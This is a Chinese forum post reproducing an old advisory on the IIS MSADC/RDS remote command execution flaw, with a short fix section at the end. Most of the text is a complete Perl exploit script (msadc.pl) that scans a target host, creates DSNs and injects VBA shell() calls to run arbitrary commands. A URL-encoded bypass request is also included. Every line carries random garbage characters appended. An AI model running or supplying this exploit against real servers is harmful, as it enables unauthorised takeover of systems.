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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) vb9OonE2  
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涉及程序: R_=6GZH$G  
Microsoft NT server zB yqD$  
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描述: m%?V7-9!k  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 @F(mi1QO  
X.`~>`8  
详细: 1;<R#>&,*  
如果你没有时间读详细内容的话,就删除: x@8a''  
c:\Program Files\Common Files\System\Msadc\msadcs.dll KZ~*Nz+H2  
有关的安全问题就没有了。 R$zH]  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q -8t'7  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 iR"N13  
关于利用ODBC远程漏洞的描述,请参看: ;c$J=h]  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O|_h_I-2  
`~eUee3b.~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QeF3qXI  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FVh U^  
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这里不再论述。 DBP9{ x$  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $1ndKB8)`J  
+S Jd@y@fR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \W1/p`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [9:9Ql_h  
-*.-9B~u  
:6$>_m=i  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Sp@-p9#  
V59(Z  
#!perl kQ]$%Lk[  
# F-6c_!  
# MSADC/RDS 'usage' (aka exploit) script \TU3rk&X  
# Uix6GT;  
# by rain.forest.puppy Z0l+1iMx  
# K _&4D'  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Mw9 \EhA  
# beta test and find errors! V')0 Mr  
#:SNHM^><  
use Socket; use Getopt::Std; 4`,j = 3  
getopts("e:vd:h:XR", \%args); Dc)dE2  
1^gl}^|B  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Z1"v}g  
X.:]=,aGW  
if (!defined $args{h} && !defined $args{R}) { 2;w*oop,O  
print qq~ 5h;+Ky!I  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ->N8#XH2=  
-h <host> = host you want to scan (ip or domain) zXRlo]  
-d <seconds> = delay between calls, default 1 second /hO1QT}xd  
-X = dump Index Server path table, if available 6Cp]NbNrq  
-v = verbose O$cHZs$  
-e = external dictionary file for step 5 ~K@'+5Pc  
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Or a -R will resume a command session y|wc ,n%L>  
?,/U^rf^4  
~; exit;} z?35=%~w   
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Z(Jt~a3o  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n?V+dC=F}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -lv)tHs<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); K$d$m <  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1@$Ko5  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } fDSv?crv  
P9 Z}H(?C  
if (!defined $args{R}){ $ret = &has_msadc; )2M>3C6>f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~y7jCcd`  
= 9 T$Gr  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 64 5z#_}C$  
. "cmd /c "; 8U_{|]M  
$in=<STDIN>; chomp $in; W6Y@U$P#G  
$command="cmd /c " . $in ; M9f35 :  
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if (defined $args{R}) {&load; exit;} RD.V'`n"  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Rn@# d}  
&try_btcustmr; ^b %0 B  
/7 Cn(s5o  
print "\nStep 2: Trying to make our own DSN..."; 7VP32Eh[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +]Y,q w  
9YBv|A  
print "\nStep 3: Trying known DSNs..."; fDP$ sW  
&known_dsn; nl9P, d  
HJY2#lSha6  
print "\nStep 4: Trying known .mdbs..."; CJhL)0Cs  
&known_mdb; 3)RsLI9  
$cZUM}@  
if (defined $args{e}){ [pM V?a[  
print "\nStep 5: Trying dictionary of DSN names..."; a`0=AQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [ Fz`D/  
4!wR_@W^El  
print "Sorry Charley...maybe next time?\n"; n?c]M  
exit; &zo|Lfe  
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############################################################################## @/1w4'M  
iJ~Vl"|m  
sub sendraw { # ripped and modded from whisker D:K4H+ch  
sleep($delay); # it's a DoS on the server! At least on mine... nWHa.H#  
my ($pstr)=@_; Km^&<3ch#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @K!&qw  
die("Socket problems\n"); e$pMsw'MJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ JwXT%op9RP  
select(S); $|=1; Hik3wPnp  
print $pstr; my @in=<S>; m?&1yU9  
select(STDOUT); close(S); =yy5D$\  
return @in; 9`9R!=NM  
} else { die("Can't connect...\n"); }} &@3H%DP}Ql  
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############################################################################## |ely|U. Tf  
vEn4L0D  
sub make_header { # make the HTTP request M4W5f#C5Ee  
my $msadc=<<EOT of@#:Qs  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 c}0@2Vf  
User-Agent: ACTIVEDATA ,f&5pw =  
Host: $ip nb>7UN.9  
Content-Length: $clen ivz{L-  
Connection: Keep-Alive -(bkr+N  
9rA=pH%<>B  
ADCClientVersion:01.06 1u9LdkhnY  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +U3m#Y)k  
.e3+s*  
--!ADM!ROX!YOUR!WORLD! i _%Q`i  
Content-Type: application/x-varg s@7H1)U  
Content-Length: $reqlen RG4sQ0  
/7YF mI/0  
EOT YSe.t_K2C  
; $msadc=~s/\n/\r\n/g; =3v]gOcO  
return $msadc;} LA)[ip4  
%?Ev|:i`@  
############################################################################## qQH]`#P  
@qHNE,K  
sub make_req { # make the RDS request f@c`8L@g  
my ($switch, $p1, $p2)=@_; ~b2wBs)r  
my $req=""; my $t1, $t2, $query, $dsn; wLH] <k  
nxl[d\ap+n  
if ($switch==1){ # this is the btcustmr.mdb query 10U9ZC  
$query="Select * from Customers where City=" . make_shell(); Qg<(u?7N  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .?hP7;hhI  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} d09k5$=gJ  
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elsif ($switch==2){ # this is general make table query GbaEgA'fa  
$query="create table AZZ (B int, C varchar(10))"; Y"wUt &  
$dsn="$p1";} j ku}QM^  
qZA).12qS  
elsif ($switch==3){ # this is general exploit table query `FC(  
$query="select * from AZZ where C=" . make_shell(); ,11H.E Z  
$dsn="$p1";} *C:|X b<9  
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elsif ($switch==4){ # attempt to hork file info from index server c7FRI0X  
$query="select path from scope()"; :EA\)@^$R  
$dsn="Provider=MSIDXS;";} TU 1I} ,  
*v3]}g[<  
elsif ($switch==5){ # bad query ` 5C~  
$query="select"; +o51x'Ld*  
$dsn="$p1";} O7$hYk  
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$t1= make_unicode($query); m RO~aD!N  
$t2= make_unicode($dsn); x a06i#  
$req = "\x02\x00\x03\x00"; QD>"]ap,o  
$req.= "\x08\x00" . pack ("S1", length($t1)); 4tS.G  
$req.= "\x00\x00" . $t1 ; <|Pun8j  
$req.= "\x08\x00" . pack ("S1", length($t2)); ez6EjUk  
$req.= "\x00\x00" . $t2 ; r'*}TM'8  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; I=NZokfS  
return $req;} +@/"%9w  
X<%Q"2hW  
############################################################################## '&|=0TDd+  
=Fr(9 (  
sub make_shell { # this makes the shell() statement 6<ZkJ:=  
return "'|shell(\"$command\")|'";} ;{" +g)u  
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############################################################################## L# 2+z@g  
7fba-7-P  
sub make_unicode { # quick little function to convert to unicode w2'f/  
my ($in)=@_; my $out; CtSl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } hBX!iukT|{  
return $out;} Pw61_ZZ4B\  
@>U-t{W  
############################################################################## KSN Pkd6  
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sub rdo_success { # checks for RDO return success (this is kludge) mA=i)Ga  
my (@in) = @_; my $base=content_start(@in); &@yo;kB  
if($in[$base]=~/multipart\/mixed/){ *=*AAF  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z21|Dhiw&  
return 0;} 9c6gkt9eB  
D'Y-6W3  
############################################################################## m-*hygkcDu  
]f({`&K5  
sub make_dsn { # this makes a DSN for us ]&pds\  
my @drives=("c","d","e","f"); 0ok-IHE<  
print "\nMaking DSN: "; vTx2E6  
foreach $drive (@drives) { k-{<=>uM  
print "$drive: "; -xA2pYz"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . T]=r Co  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +lMX{es\O  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); HEM9E&rL  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ssN6M./6  
return 0 if $2 eq "404"; # not found/doesn't exist ktpaU,%  
if($2 eq "200") { w_{wBL[3e  
foreach $line (@results) { hK,Sf ;5V  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [6XF=L,!  
} return 0;} Xn%pNxUL  
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############################################################################## ]h %Wiw  
u2?|Ue@[  
sub verify_exists { z3;*Em8Ir  
my ($page)=@_; _zwG\I|Q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); h9G RI  
return $results[0];} MfWyc_  
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############################################################################## YS*9t Q{  
-3=#u_  
sub try_btcustmr { ?qWfup\S  
my @drives=("c","d","e","f"); W|g4z7Pb  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7M<'/s  
F6{bjv2A  
foreach $dir (@dirs) { <yH4HY  
print "$dir -> "; # fun status so you can see progress J.xPv)1'  
foreach $drive (@drives) { *=I}Qh(1  
print "$drive: "; # ditto v63"^%LX  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ?I~()]k5  
$reqlenlen=length( "$reqlen" ); <yNM%P<Oy  
$clen= 206 + $reqlenlen + $reqlen; @8pp EFw  
`6]%P(#a  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 5MtLT#C3r  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} n' q4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} S9~ +c  
GfmI<{da  
############################################################################## ei[j1F  
/*X2c6<d  
sub odbc_error { I ,z3xU  
my (@in)=@_; my $base; =aBctd:eX`  
my $base = content_start(@in); ne_TIwfw-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this V^Q#:@0  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; yU-e3O7L  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UZJCvfi  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /! "|_W|n  
return $in[$base+4].$in[$base+5].$in[$base+6];} "Pu!dJ5[]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; f>UXD  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . E(8* pI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} +>{Y.`a;Jo  
pw)||Q  
############################################################################## P;ci9vk  
+ |#O@k  
sub verbose { *&^:T~|=!  
my ($in)=@_; \Ani}qQ%|  
return if !$verbose; |m^k_d!d  
print STDOUT "\n$in\n";} G(G{RAk>  
nwF2aRNV  
############################################################################## @c;|G$E@3  
y+c|vdW%  
sub save { {_ i\f ]L  
my ($p1, $p2, $p3, $p4)=@_; 6 '!4jh  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; V`XNDNJ:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; K,:cJ  
close OUT;} 5BlR1*  
=IQ5<;U3  
############################################################################## Y STv\y  
W"}M1o  
sub load { ~nh:s|l6%M  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,0~n3G  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }}\vV}s  
@p=<IN>; close(IN); C8 xZ;V]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); LIvFx|  
$target= inet_aton($ip) || die("inet_aton problems"); H1QJ k_RL  
print "Resuming to $ip ..."; 8TLgNQP  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; z6jc8Z=O  
if($p[1]==1) { 4'a=pnE$  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; p8h9Ng* &`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;; C?{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [f1 (`<  
if (rdo_success(@results)){print "Success!\n";} oPXkYW  
else { print "failed\n"; verbose(odbc_error(@results));}} o:3dfO%nuM  
elsif ($p[1]==3){ 4,CXJ2  
if(run_query("$p[3]")){ }dWq=)*  
print "Success!\n";} else { print "failed\n"; }} o7sT=x9  
elsif ($p[1]==4){ ToXki,  
if(run_query($drvst . "$p[3]")){ MbZJ;,e?  
print "Success!\n"; } else { print "failed\n"; }} N D(/uyI  
exit;} #t: S.A@  
XBb~\p3y  
############################################################################## KLitg6&P  
C9n?@D;S  
sub create_table { }%'?p<^M  
my ($in)=@_; hRrn$BdLX  
$reqlen=length( make_req(2,$in,"") ) - 28; U |Jo{(Y  
$reqlenlen=length( "$reqlen" ); ZjQ |Wx  
$clen= 206 + $reqlenlen + $reqlen; s'E2P[:  
my @results=sendraw(make_header() . make_req(2,$in,"")); JGsx_V1t  
return 1 if rdo_success(@results); :UF%K>k2  
my $temp= odbc_error(@results); verbose($temp); lyy W  
return 1 if $temp=~/Table 'AZZ' already exists/; ^Eb.:}!D6  
return 0;} $o0 iLFIX/  
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############################################################################## Ay5i+)MD  
:y%/u%L  
sub known_dsn { *n 6s.$p)%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !Wy6/F@Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |:xYE{*)H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", k@f g(}6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); OwH81#   
p?) ;eJtV/  
foreach $dSn (@dsns) { beRVD>T  
print "."; r&R B9S@*h  
next if (!is_access("DSN=$dSn")); Y2ZT.l  
if(create_table("DSN=$dSn")){ VEqS;~[  
print "$dSn successful\n"; r? NznNVU  
if(run_query("DSN=$dSn")){ %|g>%D3Z?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Li/O  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 7=TF.TW)  
%l}D.ml  
############################################################################## C":32_q  
+eyc`J  
sub is_access { 4'`{H@]tb  
my ($in)=@_; jkiFLtB@V  
$reqlen=length( make_req(5,$in,"") ) - 28; K9$>Yxe|  
$reqlenlen=length( "$reqlen" ); dZ  rAn  
$clen= 206 + $reqlenlen + $reqlen; K?B{rE Lp  
my @results=sendraw(make_header() . make_req(5,$in,"")); Rs-]N1V  
my $temp= odbc_error(@results); 544X1Ww2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); XQ9O$ ~q  
return 0;} 3DiLk=\~  
rz wF~-m +  
############################################################################## Oiz ,w7LRh  
hxVKV?Fl  
sub run_query { s%C)t6`9  
my ($in)=@_; \O*-#}~\  
$reqlen=length( make_req(3,$in,"") ) - 28; TcjEcMw,  
$reqlenlen=length( "$reqlen" ); Hfw q/Is  
$clen= 206 + $reqlenlen + $reqlen; ^)(bM$(`  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~P8tUhffK  
return 1 if rdo_success(@results); bJRN;g  
my $temp= odbc_error(@results); verbose($temp); Szq/hv=Q  
return 0;} < Z{HX[y  
)6,de2Pb  
############################################################################## yj;sSRT  
dv8>[#  
sub known_mdb { y#Fv+`YDl  
my @drives=("c","d","e","f","g"); Xu< k3oD7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f&eK|7J_Yf  
my $dir, $drive, $mdb; WG6FQAo^8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f,V<;s  
@ezH'y-v  
# this is sparse, because I don't know of many \m7-rV6r  
my @sysmdbs=( "\\catroot\\icatalog.mdb", R< ,`[*Z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?t/~lv  
"\\system32\\certmdb.mdb", r@v,T8  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% K`iv c N"  
p7veQ`yNc  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *BR~}1 i  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;> _$`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ORyE`h  
"\\cfusion\\cfapps\\security\\realm_.mdb", ohFJZ'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F~%]6^$w  
"\\cfusion\\database\\cfexamples.mdb", [Sr,h0h6  
"\\cfusion\\database\\cfsnippets.mdb", )PG6gZYW  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T]t+E'sQ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ??PC k1X  
"\\cfusion\\brighttiger\\database\\cleam.mdb", dx;Ysn0-  
"\\cfusion\\database\\smpolicy.mdb", o.w\l\  
"\\cfusion\\database\cypress.mdb", A?CcHw rT  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <j&DK2u=i  
"\\website\\cgi-win\\dbsample.mdb", p2n0Z\2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", @hJ%@(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |]J>R  
); #these are just l>Z5 uSG  
foreach $drive (@drives) { tZ} v%3  
foreach $dir (@dirs){ o7J  
foreach $mdb (@sysmdbs) { PZE0}>z  
print "."; 0Fk5kGD,&K  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :*ing  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 56+s~hG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Y? x,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; xIxn"^'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} sm0xLZ  
]w;rfn9D  
foreach $drive (@drives) { -~v|Rt  
foreach $mdb (@mdbs) { uJFdbBDSh  
print "."; fBRo_CU8!  
if(create_table($drv . $drive . $dir . $mdb)){ 4]h =yc R  
print "\n" . $drive . $dir . $mdb . " successful\n"; $ et0s;GBv  
if(run_query($drv . $drive . $dir . $mdb)){ MaRi+3F  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; zo+nq%=  
} else { print "Something's borked. Use verbose next time\n"; }}}} ~%^ tB  
} bu:S:`  
ln?v j)j  
############################################################################## ;'5>q&[qbP  
(d(hR0HKE  
sub hork_idx { B8B; y^b>i  
print "\nAttempting to dump Index Server tables...\n"; M,/mE~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 2q3+0Et8  
$reqlen=length( make_req(4,"","") ) - 28; )Y2{_ bx4"  
$reqlenlen=length( "$reqlen" ); Gnfd;. (.  
$clen= 206 + $reqlenlen + $reqlen; 4US"hexE<  
my @results=sendraw2(make_header() . make_req(4,"","")); #0ETY\}ZD  
if (rdo_success(@results)){ e?7& M  
my $max=@results; my $c; my %d; c0%"&a1]]V  
for($c=19; $c<$max; $c++){ f0X_fm_q  
$results[$c]=~s/\x00//g; bn^{c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; PV9pa/`@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `S6x<J&T\/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Sx?ua<`:d  
$d{"$1$2"}="";} JHz [7  
foreach $c (keys %d){ print "$c\n"; } pQshUm"_  
} else {print "Index server doesn't seem to be installed.\n"; }} <\NY<QIwFw  
B$b +Ymu  
############################################################################## in~D  
'+osf'&  
sub dsn_dict { )3~{L;q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); V'kX)$  
while(<IN>){ ep2k%?CX 1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p3 w  
next if (!is_access("DSN=$dSn")); ptDY3n~'  
if(create_table("DSN=$dSn")){ BRlT7grgq  
print "$dSn successful\n"; JsDpy{q  
if(run_query("DSN=$dSn")){ :?/cPg'D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8-BflejX  
print "Something's borked. Use verbose next time\n";}}} l-SAC3qhG  
print "\n"; close(IN);} Ag&0wN+jTM  
t^6dzrF  
############################################################################## QA<Jr5Ys  
XmEq2v  
sub sendraw2 { # ripped and modded from whisker i%/Jp[e\W>  
sleep($delay); # it's a DoS on the server! At least on mine... 5[A@ gw0u  
my ($pstr)=@_; zx-81fx+k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \De{9v  
die("Socket problems\n"); <)u`~$n2  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5qr'.m  
print "Connected. Getting data"; *Eo?k<:zPm  
open(OUT,">raw.out"); my @in; Pb?$t  
select(S); $|=1; print $pstr; oJ4 AIQjB  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} /4g1zrU  
close(OUT); select(STDOUT); close(S); return @in; w,h`s.AN  
} else { die("Can't connect...\n"); }} JKGc3j,+#  
Vm3v-=6  
############################################################################## rd9e \%A  
$4/yZaVb  
sub content_start { # this will take in the server headers MhR:c7,  
my (@in)=@_; my $c; <4P4u*/o  
for ($c=1;$c<500;$c++) { E=>FjCsu<-  
if($in[$c] =~/^\x0d\x0a/){ .ox8*OO<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %d?cP}V  
else { return $c+1; }}} 1XD,uoxB  
return -1;} # it should never get here actually a{R%#e\n  
j!]YNH@  
############################################################################## fZ*+2T>  
hRs&t,{&  
sub funky {  CCL   
my (@in)=@_; my $error=odbc_error(@in); QKr,g  
if($error=~/ADO could not find the specified provider/){ VzY8rI  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; K?BOvDW"`  
exit;} ',:*f8Jk  
if($error=~/A Handler is required/){ `[W[H(AjQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; k~jP'aD  
exit;} h"_MA_]~  
if($error=~/specified Handler has denied Access/){ dHv68*^\'  
print "\nServer has custom handler filters (they most likely are patched)\n"; BDR.AZ  
exit;}} 8xccp4  
i(>4wK!!  
############################################################################## ;*:Pw?'  
R'C2o]  
sub has_msadc { b)=[1g/=L  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Kjs.L!W  
my $base=content_start(@results); }Q=!Y>Tc  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dvt9u9Vg=  
return 0;} T`5bZu^c  
@JyK|.b#0  
######################## b/C`J p  
c.>oe*+  
0cJWJOj&  
解决方案: >_|O1H./4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll . r[Hu40p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 E|6VX4`+  
*Df,Ijh$  
拿出来充数 哈哈
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